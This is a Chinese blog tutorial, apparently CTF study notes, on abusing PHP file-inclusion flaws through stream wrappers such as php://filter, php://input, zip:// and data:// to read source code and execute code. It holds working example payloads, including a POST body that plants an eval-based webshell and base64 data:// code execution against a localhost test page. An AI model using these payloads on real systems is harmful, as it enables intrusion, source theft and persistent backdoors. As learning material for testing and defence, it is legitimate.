php伪协议实现命令执行

  • 单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

航舰的文件包含函数:

  • include
  • require
  • include_once
  • hightlight_file
  • show_sourcce
  • readfile
  • file_get_contents
  • fopen
  • file
    封装协议:
  • file://
  • php://filter
  • php://input
  • zip://
  • compress.bzip2://
  • compress.zlib://
  • data://

环境概要:

php.ini:
allow_url_fopen:on 默认开启 激活了URL形式的fopen封装协议使得可以访问URL对象文件
allow_url_include:off 默认关闭,该选项on便是允许URL对象文件

  • PHP版本<=5.2可以使用%00进行截断

0x01 是否需要截断?

①:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt<?phpinclude($_GET['file'])?>

②:需要截断:在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00<?phpinclude($_GET['file'].’.php’)?>

0x02 allow_url_fopen与allow_url_include是否开启:

  • file://在双OFF下可以使用;
    在这里插入图片描述
    使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
  • php://
    条件:
    不需要开启allow_url_fopen,仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include.
    php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input.php://filter用于读取源码,php://input用于执行php代码.
    php://filter 读取源代码并进行base64编码编出,不然会直接当作php带啊执行就看不到源代码内容.
php://filter/convert.base64-[encode/decode]/resource=xxx
  • php://在双off下可以正常使用
    在这里插入图片描述
    实例:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

page=php://filter/read=convert.base64-encode/resource=index.php
读取网页源码

这里还可以把read=string.tolower/resource=… 可以直接读取源码

  • php://input可以访问请求的原始数据的只读流,将pos请求中的数据作为php代码执行.
    实例:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA]: <?php phpinfo();?>

也可以post以下内容生成一句话:


<?
php fputs(fopen(“shell.php”,”w”),
’<?php eval($_POST["cmd"];?>’);
?>

  • zip://,bzip://,zlib://协议在双off的情况下也可以正常使用
    上述均属于压缩流,可以访问压缩文件的子文件,更重要的是不需要指定后缀名
    • zip://
      使用方法:
zip://archive.zip#dir/file.txtzip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

实例:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
  • zlib://协议
compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpgorhttp://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
  • zlib可以打开.gz和.jpg

  • data://
    双On

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>orhttp://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以:http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>orhttp://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值